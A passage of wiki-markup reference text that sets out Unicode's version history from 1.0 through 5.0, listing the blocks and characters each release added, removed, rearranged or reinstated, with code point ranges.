* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''.
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''.
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''.
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''.
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''.
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''.
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''.
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''.
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''.
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''.
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''.
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''.
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''.
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''.
* Some symbols and signs (total 11 characters) were added to '''Khmer'''.
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''.
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''.
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''.
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''.
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''.
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''.
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''.
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''.
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''.
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''.
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
